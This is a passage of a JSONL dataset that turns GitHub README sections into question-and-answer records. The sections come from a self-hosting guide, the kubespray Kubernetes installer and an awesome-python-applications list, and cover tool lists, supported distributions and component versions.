graph optimization layer on top of that makes symbolic execution fast and memory efficient. MXNet is portable and lightweight, scaling effectively to multiple GPUs and multiple machines. Support for Python, R, Julia, Scala, Go, Javascript and more.\n\n[AutoGluon](https://autogluon.mxnet.io/index.html) is toolkit for Deep learning that automates machine learning tasks enabling you to easily achieve strong predictive performance in your applications. With just a few lines of code, you can train and deploy high-accuracy deep learning models on tabular, image, and text data.\n\n[Anaconda](https://www.anaconda.com/) is a very popular Data Science platform for machine learning and deep learning that enables users to develop models, train them, and deploy them.\n\n[PlaidML](https://github.com/plaidml/plaidml) is an advanced and portable tensor compiler for enabling deep learning on laptops, embedded devices, or other devices where the available computing hardware is not well supported or the available software stack contains unpalatable license restrictions.\n\n[OpenCV](https://opencv.org) is a highly optimized library with focus on real-time computer vision applications. The C++, Python, and Java interfaces s", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319140"}
{"id": "gh_dac8e37dc5c5", "question": "How to: Online ML Learning Resources", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Machine Learning by Stanford University from Coursera](https://www.coursera.org/learn/machine-learning)\n\n[Machine Learning Courses Online from Coursera](https://www.coursera.org/courses?query=machine%20learning&)\n\n[Machine Learning Courses Online from Udemy](https://www.udemy.com/topic/machine-learning/)\n\n[Learn Machine Learning with Online Courses and Classes from edX](https://www.edx.org/learn/machine-learning)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319145"}
{"id": "gh_2fae6df16837", "question": "How to: Operating systems", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n[Raspberry Pi OS](https://www.raspberrypi.org/software/operating-systems/)\n\n[Hass.io(Home Assistant OS)](https://www.home-assistant.io/hassio/installation/)\n\n[Manjaro Linux ARM](https://manjaro.org/download/#ARM)\n\n[Arch Linux ARM](https://archlinuxarm.org/platforms/armv8/broadcom/raspberry-pi-4)\n\n[Ubuntu MATE for Raspberry Pi](https://ubuntu-mate.org/ports/raspberry-pi/)\n\n[Ubuntu Desktop for Raspberry Pi](https://ubuntu.com/raspberry-pi)\n\n[Ubuntu Core on a Raspberry Pi](https://ubuntu.com/download/raspberry-pi-core)\n\n[Ubuntu Server for ARM](https://ubuntu.com/download/server/arm)\n\n[Debian](https://wiki.debian.org)\n\n[Fedora ARM](https://arm.fedoraproject.org)\n\n[openSUSE](https://en.opensuse.org/openSUSE)\n\n[SUSE](https://documentation.suse.com/)\n\n[Kali Linux for the Raspberry Pi](https://www.kali.org/docs/arm/kali-linux-raspberry-pi/)\n\n[RetroArch](https://www.retroarch.com/?page=platforms)\n\n[RetroPie](https://retropie.org.uk/)\n\n[LibreELEC](https://libreelec.tv/)\n\n[OSMC](https://osmc.tv)\n\n[RISC OS](https://www.riscosopen.org/content/)\n\n[Windows 10 IoT Core](https://docs.microsoft.com/en-us/windows/iot-core/windows-iot-core)\n\n[HeliOS](https://www.arduino.cc/reference/en/libraries/helios/) is an embedded operating system that is free for anyone to use. While called an operating system for simplicity, HeliOS is better described as a multitasking kernel for embedded systems.\n\n[Simba](https://simba-os.readthedocs.io/en/latest/getting-started.html) is a small OS for an Embedded Programming Platform like Arduino. It aims to make embedded programming easy and portable.\n\n[Trampoline](https://github.com/TrampolineRTOS/) is a static RTOS for small embedded systems.\n\n[DuinOS](https://github.com/DuinOS/DuinOS) is Framework (a wrapper) for use the FreeRTOSwith Arduino.\n\n[VxWorks](https://www.windriver.com/products/vxworks) is an industry-leading real-time operating systems (RTOS) for building embedded devices and systems for more than 30 years.\n\n[LynxOS](https://www.lynx.com/products/lynxos-posix-real-time-operating-system-rtos) is a native POSIX, hard real-time partitioning operating system developed by Lynx Software Technologies.\n\n[Zephyr OS](https://www.zephyrproject.org/zephyr-rtos-featured-in-risc-v-getting-started-guide/) is a popular security-oriented RTOS with a small-footprint kernel designed for use on resource-constrained and embedded systems. Zephyr has a small-foorprint Kernel focusing on embedded devices compatible with x86, ARM, RISC-V, Xtensa and [others](https://docs.zephyrproject.org/latest/boards/index.html).\n\n[FreeRTOS](https://freertos.org/) is an open source, real-time operating system for microcontrollers that makes small, low-power edge devices easy to program, deploy, secure, connect, and manage.\n\n[Arm Mbed TLS](https://os.mbed.com) provides a comprehensive SSL/TLS solution and makes it easy for developers to include cryptographic and SSL/TLS capabilities in their software and embedded products. As an SSL library, it provides an intuitive API, readable source code and a minimal and highly configurable code footprint.\n\n[Contiki-os](https://github.com/contiki-os) is an operating system for networked, memory-constrained systems with a focus on low-power wireless Internet of Things devices.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319164"}
{"id": "gh_c7bc8e1aef2e", "question": "How to: Middleware", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n [IoTSyS](https://iotsyst.com) is an integration middleware for the Internet of Things. It provides a communication stack for embedded devices based on IPv6, Web services, and OBIX to establish interoperable interfaces for smart objects.\n\n [OpenIoT](https://github.com/OpenIotOrg/openiot) is an open source middleware infrastructure will support flexible configuration and deployment of algorithms for collection, and filtering information streams stemming from the internet-connected objects, while at the same time generating and processing important business/applications events.\n\n [OpenRemote](https://github.com/openremote/openremote) is an open source middleware project, which integrates many different protocols and solutions available for smart building, and smart city automation, and offers visualization tools. \n\n [Kaa](https://www.kaaproject.org/platform/) is a Enterprise IoT Platform has been designed with heavy-duty, enterprise-grade IoT solutions in mind. It banishes a monolithic approach to architecture in favour of highly portable microservices, which allow for flexible rearrangement and customization even in the middle of the solution's lifecycle.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319170"}
{"id": "gh_6fd225892175", "question": "How to: Node flow editors", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n [Node-RED](https://nodered.org) is a programming tool for wiring together hardware devices, APIs and online services in new and interesting ways. It provides a browser-based editor that makes it easy to wire together flows using the wide range of nodes in the palette that can be deployed to its runtime in a single-click.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319175"}
{"id": "gh_03d48c09b6c9", "question": "How to: Data Visualization", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n[Freeboard](https://github.com/Freeboard/freeboard) is an open source real-time dashboard builder for IOT and other web mashups. A free open-source alternative to Geckoboard.\n\n[ThingSpeak](https://thingspeak.com) is an IoT analytics platform service that allows you to aggregate, visualize, and analyze live data streams in the cloud. You can send data to ThingSpeak from your devices, create instant visualization of live data, and send alerts.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319180"}
{"id": "gh_a084253cd3cf", "question": "How to: In-memory data grids", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n [Ehcache](https://www.ehcache.org) is an open source, standards-based cache that boosts performance, offloads your database, and simplifies scalability. It's the most widely-used Java-based cache because it's robust, proven, full-featured, and integrates with other popular libraries and frameworks.\n\n [Hazelcast](https://hazelcast.com) is an open source in-memory data grid based on Java.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319186"}
{"id": "gh_a28e0f5d0a8f", "question": "How to: Home automation", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](https://github.com/mikeroyal/Self-Hosting-Guide#table-of-contents)\n\n [Home Assistant](https://github.com/home-assistant/core) is open source home automation that puts local control and privacy first. Powered by a worldwide community of tinkerers and DIY enthusiasts. Perfect to run on a Raspberry Pi or a local server.\n\n [openHAB](https://github.com/openhab) is a cross-platform software with the aim to integrate all kinds of Smart Home technologies, devices, etc. \n\n [Eclipse SmartHome](https://www.eclipse.org/smarthome/) is a framework, not a ready-to-use solution. It offers a large set of features to choose from and leaves enough possibilities to design a Smart Home solution specific to your expectations. Its modular design brings millions of combinations and proves to be easily extensible by custom parts.\n\n [The Thing System](https://github.com/TheThingSystem) is a set of software components and network protocols that aims to fix the Internet of Things. Our steward software is written in node.js making it both portable and easily extensible. It can run on your laptop, or fit onto a small single board computer like the Raspberry Pi.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319193"}
{"id": "gh_670c6eb9e2fc", "question": "How to: Tools for Robotics", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Open Source Robotics Foundation](https://www.openrobotics.org/) works with industry, academia, and government to create and support open software and hardware for use in robotics, from research and education to product development.\n\n[ROS](https://www.ros.org/) is robotics middleware. Although ROS is not an operating system, it provides services designed for a heterogeneous computer cluster such as hardware abstraction, low-level device control, implementation of commonly used functionality, message-passing between processes, and package management.\n\n[ROS2](https://index.ros.org/doc/ros2/) is a set of [software libraries and tools](https://github.com/ros2) that help you build robot applications. From drivers to state-of-the-art algorithms, and with powerful developer tools, ROS has what you need for your next robotics project. And it’s all open source.\n\n[Robot Framework](https://robotframework.org/) is a generic open source automation framework. It can be used for test automation and robotic process automation. It has easy syntax, utilizing human-readable keywords. Its capabilities can be extended by libraries implemented with Python or Java. \n\n[The Robotics Library (RL)](https://github.com/roboticslibrary/rl) is a self-contained C++ library for robot kinematics, motion planning and control. It covers mathematics, kinematics and dynamics, hardware abstraction, motion planning, collision detection, and visualization.RL runs on many different systems, including Linux, macOS, and Windows. It uses CMake as a build system and can be compiled with Clang, GCC, and Visual Studio.\n\n[MoveIt](https://moveit.ros.org/) is the most widely used software for manipulation and has been used on over 100 robots. It provides an easy-to-use robotics platform for developing advanced applications, evaluating new designs and building integrated products for industrial, commercial, R&D, and other domains.\n\n[AutoGluon](https://autogluon.mxnet.io/index.html) is tool", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.319202"}
{"id": "gh_70a42dca9170", "question": "How to: Quick Start", "question_body": "About kubernetes-sigs/kubespray", "answer": "Below are several ways to use Kubespray to deploy a Kubernetes cluster.", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18162, "answer_score": 10, "has_code": false, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400173"}
{"id": "gh_0321385216ee", "question": "How to: Inside the container you may now run the kubespray playbooks:", "question_body": "About kubernetes-sigs/kubespray", "answer": "ansible-playbook -i /inventory/inventory.ini --private-key /root/.ssh/id_rsa cluster.yml\n```", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18162, "answer_score": 10, "has_code": true, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400188"}
{"id": "gh_034a59f70ac5", "question": "How to: Supported Linux Distributions", "question_body": "About kubernetes-sigs/kubespray", "answer": "- **Flatcar Container Linux by Kinvolk**\n- **Debian** Bookworm, Bullseye, Trixie\n- **Ubuntu** 22.04, 24.04\n- **CentOS Stream / RHEL** [9, 10](docs/operating_systems/rhel.md#rhel-8)\n- **Fedora** 39, 40\n- **Fedora CoreOS** (see [fcos Note](docs/operating_systems/fcos.md))\n- **openSUSE** Leap 15.x/Tumbleweed\n- **Oracle Linux** [9, 10](docs/operating_systems/rhel.md#rhel-8)\n- **Alma Linux** [9, 10](docs/operating_systems/rhel.md#rhel-8)\n- **Rocky Linux** [9, 10](docs/operating_systems/rhel.md#rhel-8) (experimental in 10: see [Rocky Linux 10 notes](docs/operating_systems/rhel.md#rocky-linux-10))\n- **Kylin Linux Advanced Server V10** (experimental: see [kylin linux notes](docs/operating_systems/kylinlinux.md))\n- **Amazon Linux 2** (experimental: see [amazon linux notes](docs/operating_systems/amazonlinux.md))\n- **UOS Linux** (experimental: see [uos linux notes](docs/operating_systems/uoslinux.md))\n- **openEuler** (experimental: see [openEuler notes](docs/operating_systems/openeuler.md))\n\nNote:\n\n- Upstart/SysV init based OS types are not supported.\n- [Kernel requirements](docs/operations/kernel-requirements.md) (please read if the OS kernel version is < 4.19).", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18162, "answer_score": 10, "has_code": false, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400202"}
{"id": "gh_fe08280d5dab", "question": "How to: Supported Components", "question_body": "About kubernetes-sigs/kubespray", "answer": "- Core\n  - [kubernetes](https://github.com/kubernetes/kubernetes) 1.34.3\n  - [etcd](https://github.com/etcd-io/etcd) 3.5.26\n  - [docker](https://www.docker.com/) 28.3\n  - [containerd](https://containerd.io/) 2.2.1\n  - [cri-o](http://cri-o.io/) 1.34.3 (experimental: see [CRI-O Note](docs/CRI/cri-o.md). Only on fedora, ubuntu and centos based OS)\n- Network Plugin\n  - [cni-plugins](https://github.com/containernetworking/plugins) 1.8.0\n  - [calico](https://github.com/projectcalico/calico) 3.30.5\n  - [cilium](https://github.com/cilium/cilium) 1.18.5\n  - [flannel](https://github.com/flannel-io/flannel) 0.27.3\n  - [kube-ovn](https://github.com/alauda/kube-ovn) 1.12.21\n  - [kube-router](https://github.com/cloudnativelabs/kube-router) 2.1.1\n  - [multus](https://github.com/k8snetworkplumbingwg/multus-cni) 4.2.2\n  - [kube-vip](https://github.com/kube-vip/kube-vip) 1.0.3\n- Application\n  - [cert-manager](https://github.com/jetstack/cert-manager) 1.15.3\n  - [coredns](https://github.com/coredns/coredns) 1.12.1\n  - [ingress-nginx](https://github.com/kubernetes/ingress-nginx) 1.13.3\n  - [argocd](https://argoproj.github.io/) 2.14.5\n  - [helm](https://helm.sh/) 3.18.4\n  - [metallb](https://metallb.universe.tf/) 0.13.9\n  - [registry](https://github.com/distribution/distribution) 2.8.1\n- Storage Plugin\n  - [aws-ebs-csi-plugin](https://github.com/kubernetes-sigs/aws-ebs-csi-driver) 0.5.0\n  - [azure-csi-plugin](https://github.com/kubernetes-sigs/azuredisk-csi-driver) 1.10.0\n  - [cinder-csi-plugin](https://github.com/kubernetes/cloud-provider-openstack/blob/master/docs/cinder-csi-plugin/using-cinder-csi-plugin.md) 1.30.0\n  - [gcp-pd-csi-plugin](https://github.com/kubernetes-sigs/gcp-compute-persistent-disk-csi-driver) 1.9.2\n  - [local-path-provisioner](https://github.com/rancher/local-path-provisioner) 0.0.32\n  - [local-volume-provisioner](https://github.com/kubernetes-sigs/sig-storage-local-static-provisioner) 2.5.0\n  - [node-feature-discovery](https://github.com/kubernetes-sigs/node-feature-discovery) 0.16.4", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18162, "answer_score": 10, "has_code": false, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400214"}
{"id": "gh_9acfcab0f699", "question": "How to: Container Runtime Notes", "question_body": "About kubernetes-sigs/kubespray", "answer": "- The cri-o version should be aligned with the respective kubernetes version (i.e. kube_version=1.20.x, crio_version=1.20)", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18162, "answer_score": 10, "has_code": false, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400220"}
{"id": "gh_69307b78d795", "question": "How to: Requirements", "question_body": "About kubernetes-sigs/kubespray", "answer": "- **Minimum required version of Kubernetes is v1.30**\n- **Ansible v2.14+, Jinja 2.11+ and python-netaddr is installed on the machine that will run Ansible commands**\n- The target servers must have **access to the Internet** in order to pull docker images. Otherwise, additional configuration is required (See [Offline Environment](docs/operations/offline-environment.md))\n- The target servers are configured to allow **IPv4 forwarding**.\n- If using IPv6 for pods and services, the target servers are configured to allow **IPv6 forwarding**.\n- The **firewalls are not managed**, you'll need to implement your own rules the way you used to.\n    in order to avoid any issue during deployment you should disable your firewall.\n- If kubespray is run from non-root user account, correct privilege escalation method\n    should be configured in the target servers. Then the `ansible_become` flag\n    or command parameters `--become or -b` should be specified.\n\nHardware:\nThese limits are safeguarded by Kubespray. Actual requirements for your workload can differ. For a sizing guide go to the [Building Large Clusters](https://kubernetes.io/docs/setup/cluster-large/#size-of-master-and-master-components) guide.\n\n- Control Plane\n  - Memory: 2 GB\n- Worker Node\n  - Memory: 1 GB", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18162, "answer_score": 10, "has_code": true, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400228"}
{"id": "gh_6441a94012d0", "question": "How to: Network Plugins", "question_body": "About kubernetes-sigs/kubespray", "answer": "You can choose among ten network plugins. (default: `calico`, except Vagrant uses `flannel`)\n\n- [flannel](docs/CNI/flannel.md): gre/vxlan (layer 2) networking.\n\n- [Calico](https://docs.tigera.io/calico/latest/about/) is a networking and network policy provider. Calico supports a flexible set of networking options\n    designed to give you the most efficient networking across a range of situations, including non-overlay\n    and overlay networks, with or without BGP. Calico uses the same engine to enforce network policy for hosts,\n    pods, and (if using Istio and Envoy) applications at the service mesh layer.\n\n- [cilium](http://docs.cilium.io/en/latest/): layer 3/4 networking (as well as layer 7 to protect and secure application protocols), supports dynamic insertion of BPF bytecode into the Linux kernel to implement security services, networking and visibility logic.\n\n- [kube-ovn](docs/CNI/kube-ovn.md): Kube-OVN integrates the OVN-based Network Virtualization with Kubernetes. It offers an advanced Container Network Fabric for Enterprises.\n\n- [kube-router](docs/CNI/kube-router.md): Kube-router is a L3 CNI for Kubernetes networking aiming to provide operational\n    simplicity and high performance: it uses IPVS to provide Kube Services Proxy (if setup to replace kube-proxy),\n    iptables for network policies, and BGP for ods L3 networking (with optionally BGP peering with out-of-cluster BGP peers).\n    It can also optionally advertise routes to Kubernetes cluster Pods CIDRs, ClusterIPs, ExternalIPs and LoadBalancerIPs.\n\n- [macvlan](docs/CNI/macvlan.md): Macvlan is a Linux network driver. Pods have their own unique Mac and Ip address, connected directly the physical (layer 2) network.\n\n- [multus](docs/CNI/multus.md): Multus is a meta CNI plugin that provides multiple network interface support to pods. For each interface Multus delegates CNI calls to secondary CNI plugins such as Calico, macvlan, etc.\n\n- [custom_cni](roles/network-plugin/custom_cni/) : You can specify some manifests that will be applied to the clusters to bring you own CNI and use non-supported ones by Kubespray.\n  See `tests/files/custom_cni/README.md` and `tests/files/custom_cni/values.yaml`for an example with a CNI provided by a Helm Chart.\n\nThe network plugin to use is defined by the variable `kube_network_plugin`. There is also an\noption to leverage built-in cloud provider networking instead.\nSee also [Network checker](docs/advanced/netcheck.md).", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18162, "answer_score": 10, "has_code": true, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400238"}
{"id": "gh_4b00c64372c2", "question": "How to: Ingress Plugins", "question_body": "About kubernetes-sigs/kubespray", "answer": "- [nginx](https://kubernetes.github.io/ingress-nginx): the NGINX Ingress Controller.\n\n- [metallb](docs/ingress/metallb.md): the MetalLB bare-metal service LoadBalancer provider.", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 18162, "answer_score": 10, "has_code": false, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400244"}
{"id": "gh_ef42524e6c28", "question": "How to: Community docs and resources", "question_body": "About kubernetes-sigs/kubespray", "answer": "- [kubernetes.io/docs/setup/production-environment/tools/kubespray/](https://kubernetes.io/docs/setup/production-environment/tools/kubespray/)\n- [kubespray, monitoring and logging](https://github.com/gregbkr/kubernetes-kargo-logging-monitoring) by @gregbkr\n- [Deploy Kubernetes w/ Ansible & Terraform](https://rsmitty.github.io/Terraform-Ansible-Kubernetes/) by @rsmitty\n- [Deploy a Kubernetes Cluster with Kubespray (video)](https://www.youtube.com/watch?v=CJ5G4GpqDy0)", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18162, "answer_score": 10, "has_code": false, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400250"}
{"id": "gh_4516b15153e6", "question": "How to: Tools and projects on top of Kubespray", "question_body": "About kubernetes-sigs/kubespray", "answer": "- [Digital Rebar Provision](https://github.com/digitalrebar/provision/blob/v4/doc/integrations/ansible.rst)\n- [Terraform Contrib](https://github.com/kubernetes-sigs/kubespray/tree/master/contrib/terraform)\n- [Kubean](https://github.com/kubean-io/kubean)", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18162, "answer_score": 10, "has_code": false, "url": "https://github.com/kubernetes-sigs/kubespray", "collected_at": "2026-01-17T08:18:10.400255"}
{"id": "gh_abfe56afd2ca", "question": "How to: <a id=\"tag-internet\" href=\"#tag-internet\">Internet</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **ArchiveBox** - ([Repo](https://github.com/pirate/ArchiveBox), [Home](https://archivebox.io/), [Docs](https://github.com/pirate/ArchiveBox/wiki)) Self-hosted web archive, for creating local, browsable backups of content from the web. Imports HTML, JS, PDFs, video, subtitles, git repositories, and more, from Pocket, Pinboard, browser history, etc. `(organization, linux, windows, docker)`\n  1. **archivematica** - ([Repo](https://github.com/artefactual/archivematica), [Home](https://www.archivematica.org/en), [Docs](https://www.archivematica.org/en/docs)) Digital preservation system designed to maintain standards-based, long-term access to collections of digital objects, targeted at archivists and librarians. `(organization, server)`\n  1. **Beaver Habits** - ([Repo](https://github.com/daya0576/beaverhabits), [Home](https://beaverhabits.com/), [Demo](https://beaverhabits.com/demo), [Fund](https://buymeacoffee.com/henryzhu)) Self-hosted habit tracking app without \"Goals\". `(server, fastapi)`\n  1. **Bookwyrm** - ([Repo](https://github.com/bookwyrm-social/bookwyrm), [Home](https://bookwyrm.social/)) Social reading and reviewing, decentralized with ActivityPub. `(organization, communication, server, django)`\n  1. **buku** - ([Repo](https://github.com/jarun/buku), [Fund](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=RMLTQ76JSXJ4Q), [Docs](https://github.com/jarun/buku/wiki)) Browser-independent bookmark manager with CLI and web server frontends, with integrations for browsers, cloud-based bookmark managers, and emacs. `(organization, linux, windows, mac, server)`\n  1. **Canto** - ([Repo](https://github.com/themoken/canto-next), [WP](https://en.wikipedia.org/wiki/Canto_%28news_aggregator%29)) RSS daemon and [curses-based client](https://github.com/themoken/canto-curses). `(linux, tui)`\n  1. **Codex** - ([Repo](https://github.com/ajslater/codex), [Demo](https://codex.sl8r.net/r/0/1)) Self-hostable comic archive browser and reader. `(server, django)`\n  1. **CTFd** - ([Repo](https://github.com/CTFd/CTFd), [Home](https://ctfd.io/), [Docs](https://github.com/CTFd/CTFd/wiki)) CTFd is a Capture The Flag framework focusing on ease of use and customizability. It comes with everything you need to run a CTF and it's easy to customize with plugins and themes. `(server)`\n  1. **Deluge** - ([Repo](https://github.com/deluge-torrent/deluge), [Home](https://deluge-torrent.org/), [WP](https://en.wikipedia.org/wiki/Deluge_%28software%29), [Fund](https://www.patreon.com/deluge_cas)) Popular, lightweight, cross-platform BitTorrent client. `(linux, windows, mac, server, gtk)`\n  1. **Dispatch** - ([Repo](https://github.com/Netflix/dispatch), [Blog](https://netflixtechblog.com/introducing-dispatch-da4b8a2a8072), [Docs](https://netflix.github.io/dispatch)) Incident management service featuring integrations for notifications and task management. Used at Netflix. `(dev, server, calver, corp, fastapi)`\n  1. **DollarDollar Bill Y'all** - ([Repo](https://github.com/harung1993/dollardollar), [Demo](https://ddby.finforward.xyz/), [Fund](https://buymeacoffee.com/cCFW6gZz28)) Self-hosted money management and expense splitting web service. `(server, flask)`\n  1. **Elixire** - ([Repo](https://gitlab.com/elixire/elixire), [Home](https://elixi.re/), [Docs](https://gitlab.com/elixire/api-docs)) Featureful file host and link shortener with API and support for multiple vanity urls. `(server)`\n  1. **FlaskBB** - ([Repo](https://github.com/flaskbb/flaskbb), [Home](https://flaskbb.org/), [Demo](https://forums.flaskbb.org/), [Docs](https://flaskbb.readthedocs.io/en/latest)) A classic web forum application (bulletin board) with a modern look. `(server)`\n  1. **gPodder** - ([Repo](https://github.com/gpodder/gpodder), [Home](https://gpodder.org/)) Simple, mature media aggregator and podcast client. `(linux, windows, mac, gtk)`\n  1. **Grafana OnCall** - ([Repo](https://github.com/grafana/oncall), [Docs](https://grafana.com/docs/grafana-cloud/oncall/open-source)) Developer-friendly incident response with brilliant Slack integration, with a PagerDuty migration path. `(server, corp, django)`\n  1. **hosts** - ([Repo](https://github.com/StevenBlack/hosts)) Command-line application which merges reputable [hosts files](https://en.wikipedia.org/wiki/Hosts_(file)) with deduplication for the purpose of blocking undesirable websites via DNS blackhole. `(security, linux, windows, mac)`\n  1. **httpie** - ([Repo](https://github.com/jakubroztocil/httpie), [Home](https://httpie.org/), [PyPI](https://pypi.org/project/httpie)) Command-line HTTP client with JSON support, syntax highlighting, wget-like downloads, extensions, and more. `(dev, linux, windows, mac)`\n  1. **Isso** - ([Repo](https://github.com/posativ/isso), [Home](https://posativ.org/isso)) Lightweight commenting server, designed as a drop-in replacement for Disqus. `(server)`\n  1. **KindleEar** - ([Repo](https://github.com/cdhigh/KindleEar), [Docs](https://github.com/cdhigh/KindleEar/blob/maste", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.006953"}
{"id": "gh_f7fc51e7810f", "question": "How to: <a id=\"tag-audio\" href=\"#tag-audio\">Audio</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Beets** - ([Repo](https://github.com/beetbox/beets), [Home](http://beets.io/), [PyPI](https://pypi.org/project/beets)) Feature-rich command-line music library manager with web UI, duplicate detection, transcoding, and tagging support, integrating with MusicBrainz, Discogs, and more. `(linux, windows, mac)`\n  1. **Exaile** - ([Repo](https://github.com/exaile/exaile), [WP](https://en.wikipedia.org/wiki/Exaile)) Cross-platform audio player, tag editor, and library organizer. `(linux, windows, mac, gtk)`\n  1. **Frescobaldi** - ([Repo](https://github.com/wbsoft/frescobaldi), [WP](https://en.wikipedia.org/wiki/Frescobaldi_%28software%29)) An editor for [LilyPond](https://en.wikipedia.org/wiki/LilyPond) music files. `(linux, windows, mac, qt)`\n  1. **Friture** - ([Repo](https://github.com/tlecomte/friture), [Home](http://friture.org/)) Visualizes and analyzes live audio data in real-time, including scope, spectrum analyzer, rolling 2D spectrogram, and more. `(linux, windows, mac, qt5)`\n  1. **Funkwhale** - ([Repo](https://dev.funkwhale.audio/funkwhale/funkwhale), [Home](https://funkwhale.audio/en_US), [Docs](https://docs.funkwhale.audio/)) Web-based, community-driven project that lets you listen and share music and audio within a decentralized, open network. `(server)`\n  1. **GNU Radio** - ([Repo](https://github.com/gnuradio/gnuradio), [Home](https://www.gnuradio.org/), [WP](https://en.wikipedia.org/wiki/GNU_Radio)) Software development toolkit that provides signal processing blocks to implement software-defined radios and signal-processing systems. `(linux, windows, mac, cpp, qt)`\n  1. **GNU Solfege** - ([Repo](http://git.savannah.gnu.org/cgit/solfege.git), [WP](https://en.wikipedia.org/wiki/GNU_Solfege)) An ear-training program intended to help musicians improve their skills. `(linux, windows, mac, gtk)`\n  1. **Mopidy** - ([Repo](https://github.com/mopidy/mopidy), [Home](https://www.mopidy.com/)) Extensible music player server with plugin support for a wide range of services. `(server)`\n  1. **Music Player** - ([Repo](https://github.com/albertz/music-player), [Home](http://albertz.github.io/music-player)) A simple 